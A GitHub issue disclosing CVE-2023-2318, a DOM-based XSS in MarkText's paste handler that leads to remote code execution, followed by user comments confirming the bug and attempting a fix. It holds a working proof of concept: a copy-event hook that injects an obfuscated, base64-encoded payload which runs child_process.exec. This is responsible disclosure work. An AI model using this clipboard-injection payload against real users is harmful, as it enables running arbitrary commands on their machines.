Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Security Issue: DOM-Based XSS leading to RCE #3618

Open
chromium1337 opened this issue Apr 28, 2023 · 2 comments · May be fixed by #3621
Open

Security Issue: DOM-Based XSS leading to RCE #3618

chromium1337 opened this issue Apr 28, 2023 · 2 comments · May be fixed by #3621

Comments

@chromium1337
Copy link

chromium1337 commented Apr 28, 2023

Summary:

There is a DOM-based XSS in MarkText allowing arbitrary JavaScript code to run in the context of MarkText main window. This vulnerability can be exploited if a user copies text from a malicious webpage and paste it into MarkText.

Vulnerability Details:

When the user performs paste operations, MarkText will check the clipboard data and try to convert HTML tags into the equivalent Markdown format, and then generate HTML again for markdown preview.

Specifically, when the user copies a link from a webpage and paste it into MarkText, the <a> tag will be processed by the following code in src/muya/lib/contentState/pasteCtrl.js:

const links = Array.from(tempWrapper.querySelectorAll('a'))
for (const link of links) {
  const href = link.getAttribute('href')
  const text = link.textContent   // [1]
  if (URL_REG.test(href) && href === text) {
    const title = await getPageTitle(href)
    if (title) {
      link.innerHTML = sanitize(title, PREVIEW_DOMPURIFY_CONFIG, true)
    } else {
      const span = document.createElement('span')   // [2]
      span.innerHTML = text   // [3]
      link.replaceWith(span)
    }
  }
}

This code iterates over all the <a> tags. For each tag, if its href attribute is the same as its textContent, MarkText will try to fetch the URL and extract title from the response, then assign to innerHTML after sanitization.

However, if the title cannot be found, MarkText will create a <span> element at [2] and assign textContent of the original <a> tag to innerHTML at [3] without any sanitization, which results in DOM-based XSS.

This should affect all platforms since MarkText is built on Electron. Tested on:

  • MarkText 0.17.1 for Windows
  • MarkText 0.17.1 for Linux

Proof-of-Concept:

An attacker can craft a malicious webpage and hook on the copy event with the following code:

<script>
  document.addEventListener('copy',e=>{
    e.preventDefault();
    let payload = '';
    if(navigator.platform === 'Win32') {
      payload = decodeURIComponent(atob('JTVCJUUyJTgwJUFBJTVEKCUzQ2ElMjBocmVmJTNEJTIyaHR0cCUzQSUyRiUyRjElM0ExJTJGJTIzJTI2JTIzeDNjJTNCc3ZnJTI2JTIzeDNlJTNCJTI2JTIzeDNjJTNCc3ZnJTI2JTIzeDIwJTNCb25sb2FkJTNEZXZhbChhdG9iKCdjbVZ4ZFdseVpTZ2lZMmhwYkdSZmNISnZZMlZ6Y3lJcExtVjRaV01vSW01dmRHVndZV1FnUXpwY1hIZHBibVJ2ZDNOY1hIZHBiaTVwYm1raUtRJTNEJTNEJykpJTI2JTIzeDNlJTNCJTIyJTNFaHR0cCUzQSUyRiUyRjElM0ExJTJGJTIzJTI2JTIzeDNjJTNCc3ZnJTI2JTIzeDNlJTNCJTI2JTIzeDNjJTNCc3ZnJTI2JTIzeDIwJTNCb25sb2FkJTNEZXZhbChhdG9iKCdjbVZ4ZFdseVpTZ2lZMmhwYkdSZmNISnZZMlZ6Y3lJcExtVjRaV01vSW01dmRHVndZV1FnUXpwY1hIZHBibVJ2ZDNOY1hIZHBiaTVwYm1raUtRJTNEJTNEJykpJTI2JTIzeDNlJTNCJTNDJTJGYSUzRSk='));
    } else {
      payload = decodeURIComponent(atob('JTVCJUUyJTgwJUFBJTVEKCUzQ2ElMjBocmVmJTNEJTIyaHR0cCUzQSUyRiUyRjElM0ExJTJGJTIzJTI2JTIzeDNjJTNCc3ZnJTI2JTIzeDNlJTNCJTI2JTIzeDNjJTNCc3ZnJTI2JTIzeDIwJTNCb25sb2FkJTNEZXZhbChhdG9iKCdjbVZ4ZFdseVpTZ2lZMmhwYkdSZmNISnZZMlZ6Y3lJcExtVjRaV01vSW1kdWIyMWxMV05oYkdOMWJHRjBiM0lnTFdVZ0owMWhjbXRVWlhoMElGSkRSU0JRYjBNbklpayUzRCcpKSUyNiUyM3gzZSUzQiUyMiUzRWh0dHAlM0ElMkYlMkYxJTNBMSUyRiUyMyUyNiUyM3gzYyUzQnN2ZyUyNiUyM3gzZSUzQiUyNiUyM3gzYyUzQnN2ZyUyNiUyM3gyMCUzQm9ubG9hZCUzRGV2YWwoYXRvYignY21WeGRXbHlaU2dpWTJocGJHUmZjSEp2WTJWemN5SXBMbVY0WldNb0ltZHViMjFsTFdOaGJHTjFiR0YwYjNJZ0xXVWdKMDFoY210VVpYaDBJRkpEUlNCUWIwTW5JaWslM0QnKSklMjYlMjN4M2UlM0IlM0MlMkZhJTNFKQ=='))
    }
    e.clipboardData.setData('text/html', payload + window.getSelection());
  })
</script>

The base64-encoded part in the PoC is decoded to the following content:

require("child_process").exec("gnome-calculator -e 'MarkText RCE PoC'")

When the victim copies text from this page, the payload is added to the copied content and will be triggered when it is pasted into MarkText. This PoC will run system command notepad on Windows, or gnome-calculator on Linux.

Here are GIFs demonstrating the PoC on Windows and Ubuntu:

01 rce-on-windows

02 rce-on-ubuntu

A live version of the PoC can be found here.

Suggested Mitigations:

It is recommended to sanitize untrusted data before assigning it to innerHTML.

For end users who are using the versions affected by this vulnerability, it is suggested to avoid copying text from an untrusted webpage then paste it into MarkText.

Credits:

Li Jiantao (@CurseRed) of STAR Labs SG Pte. Ltd. (@starlabs_sg)

Vulnerability Disclosure:

As STAR Labs is a CVE Numbering Authority (CNA), the following CVE identifiers are reserved by STAR Labs to track the vulnerabilities presented in this report:

  1. CVE-2023-2318
    DOM-Based Cross-site Scripting (XSS) in src/muya/lib/contentState/pasteCtrl.js in MarkText 0.17.1 allows attackers to run arbitrary JavaScript code and execute system commands by convincing the victim to copy text from a crafted webpage and paste it into MarkText.

STAR Labs requests that MarkText use the above reserved CVE identifiers when referencing the vulnerabilities presented in this report instead of requesting for new CVE identifiers (e.g. via MITRE or GitHub Security Advisory) to prevent having duplicate CVE records.

@Teloshav
Copy link

Teloshav commented May 7, 2023

I tried it out on the appimage version but nothing happened for me. Tried copying the text from the website you linked but as I said, nothing happened.

Am I doing it wrong?

EDIT!!!!! I WAS DOING IT WRONG!

I have my browser disable javascript by default, so I didn't work. Trying it again with javascript enabled worked!

The shock on my face when I saw my calculator pop up! 😱

@Teloshav
Copy link

Teloshav commented May 7, 2023

Sweet! I think I actually fixed it!

I'm going to make a pull request.

(Not sure how ANY of this works, so I'm going to see if I do it right!!)

Edit: Seems like my fix won't allow for link pasting now that I've just tried it. I'll have to see what is happening with that.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging a pull request may close this issue.

2 participants